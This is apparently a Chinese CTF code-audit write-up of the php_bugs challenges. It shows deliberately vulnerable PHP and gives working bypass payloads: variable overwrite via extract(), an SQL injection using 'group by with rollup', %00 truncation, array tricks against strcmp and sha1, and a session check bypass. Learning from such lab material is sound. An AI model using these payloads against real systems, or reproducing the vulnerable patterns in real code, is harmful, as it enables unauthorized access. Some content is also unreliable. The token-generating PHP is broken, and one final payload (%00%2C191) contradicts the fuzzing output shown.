简单的php_bugs代码审计。

所有代码均来自:https://github.com/bowu678/php_bugs

0x01 extract变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);
$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) {
echo 'ctf{xxx}';
} else {
echo 'Oh.no';
}
}
?>

$shiyan==$content时输出flag$flag赋给$content,这里不知道$flag的值,所以可以get一个flag变量覆盖$flag,当getflag等于getshiyan时即可输出flag
构造payload:
?shiyan=&flag=

0x02 绕过过滤的空白字符

代码挺长的,就不放了,自行在github原项目上看。
主要满足四个点:

1
2
3
4
is_numeric($_REQUEST['number']) == false
$req['number'] == strval(intval($req['number']
intval($req["number"]) == intval(strrev($req["number"])
is_palindrome_number($req["number"]) == false

即可输出flag,构造如下:

  • 第一点is_numeric()判断变量是否为数字数字字符串,可以检查10进制16进制is_numeric()可以用空字符绕过,%00放在数值前、后都可以判断为非数值,而%20空字符只能放在数值后。
  • 第三点该整数值等于其反转整数值,第四点不为回文数,这两者看似矛盾,实则有多种绕过方法。

法一

来自php_bugs,先满足第三点回文数再Fuzzing绕过第四点,简化后端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
?>

数值转成2位16进制加在回文数 191前面,Fuzzing如下:

1
2
3
4
5
import requests
for i in range(256):
r = requests.get(url="http://arch/php_bugs/02.php?number={}191".format("%%%02X"%i))
if '1' in r.text:
print("%%%02X"%i)

输出结果如下:

%0C
%2B

即可构成payload
?number=%00%2C191

法二

仅限于32位操作系统,利用intval()函数的溢出,Intval()最大的值取决于操作系统32 位系统最大带符号的 integer 范围是 -2147483648 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 214748364764 位系统上,最大带符号的 integer 值是 9223372036854775807

如果在32位操作系统上我们可以构造payload?number=%002147483647

2147483647经过strrev()反转函数后为7463847412,又经过intval函数值又变为2147483647,故满足第三点条件,可以输出flag

64位操作系统最大integer 值是 9223372036854775807,经strrev()反转函数后为7085774586302733229反而变小了,未满足溢出条件,故不适用。

法三

因为要求不能为回文数,但又要满足intval($req["number"])=intval(strrev($req["number"]))所以我们采用科学计数法构造payload?number=0e-0%00,这样的话我们就可以绕过。

参考:

is_numeric()
%%%02x
法二、三来源

0x03 多重加密

源码中给出:

1
2
3
4
5
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值

if($login['user'] === 'ichunqiu'){echo $flag;}

有了加密方式,我们解密一下即可

1
2
3
4
5
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
echo $token;
?>

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

0x04 SQL注入_WITH ROLLUP绕过

这个题来自实验吧因缺思汀的绕过

1
2
3
4
5
6
7
8
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
// 过滤的字符
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
// 执行的sql语句
mysql_num_rows($query) == 1
// 返回结果集中行的数目
$key['pwd'] == $_POST['pwd']
// 提交的密码与数据库中的密码相等输出flag

$_POST输入通过定义的AttackFilter()函数过滤导致不能使用常规sql注入,这里的思路是select过程中用group by with rollup方法进行插入查询。

先来看看group by with rollup统计方法有什么作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
MariaDB [test]> select * from test;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set (0.010 sec)

MariaDB [test]> select * from test group by pwd with rollup;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
| admin | NULL |
+-------+--------+
2 rows in set (0.001 sec)

MariaDB [test]> select * from test group by pwd with rollup limit 1;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set (0.001 sec)

MariaDB [test]> select * from test group by pwd with rollup limit 1 offset 0;
+-------+--------+
| user | pwd |
+-------+--------+
| admin | mypass |
+-------+--------+
1 row in set (0.001 sec)

MariaDB [test]> select * from test group by pwd with rollup limit 1 offset 1;
+-------+-----+
| user | pwd |
+-------+-----+
| admin | NULL |
+-------+-----+
1 row in set (0.001 sec)

limit 1是指只查询一行offset 1指查询某一行的内容,不同的数字出现的是不同行的内容

当用with rollup方法的时候,会在数据库的最后一行生成一个密码NULL的字段,在查询的时候就可以想想办法让pwd为空,而user也是存在的,又有mysql_num_rows($query) == 1,所以可以构造payload

admin' or 1=1 group by pwd with rollup limit 1 offset x #

查询语句就是:

SELECT * FROM interest WHERE uname = 'admin' or 1=1 group by pwd with rollup limit 1 offset x #'

然后一个个试就行了。

参考:

实验吧 因缺思汀的绕过 By Assassin(with rollup统计)

0x05 ereg正则%00截断

直接看关键点审计

1
2
3
4
5
6
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE
// 要求GET密码只能是大小写字母和数字
strlen($_GET['password']) < 8 && $_GET['password'] > 9999999
// 要求GET密码长度小于8并且值要大于9999999
strpos ($_GET['password'], '*-*') !== FALSE
// strpos():查找字符串首次出现的位置

第二点可以利用科学计数法的方式表示。

第三点 GET密码中要包括*-*,但是前面的ereg()过滤了特殊字符,这时候可以用%00截断,ereg()读到%00的时候就截止了,所以构造payload

1e9%00*-*

0x06 strcmp比较字符串

1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

strcmp()期望传入类型是字符串类型,在5.3之前的php版本中若传入其他类型将会报错并返回05.3之后报错不返回任何值,但如果传入数组的话,就会返回NULL,这里的判断是弱等于NULL==0bool(true),所以有构造payload

?a[]=1

0x07 sha()函数比较绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
} else
echo '<p>Login first!</p>';
?>

$_GET['name'] != $_GET['password']同时满足sha1($_GET['name']) === sha1($_GET['password']

sha1()默认的传入类型是字符串类型,若传入数组会返回false,这里的判断是强等,需要构造usernamepassword既不相等,又同样要是数组类型,构造payload:

?name[]=a&password[]=b

0x08 SESSION验证绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);
$flag = "flag";

session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

重点在于$_GET['password'] == $_SESSION['password'],这就很简单了,只需要GET值与SESSION相等,

构造payload

?password=

然后将cookies清空即可。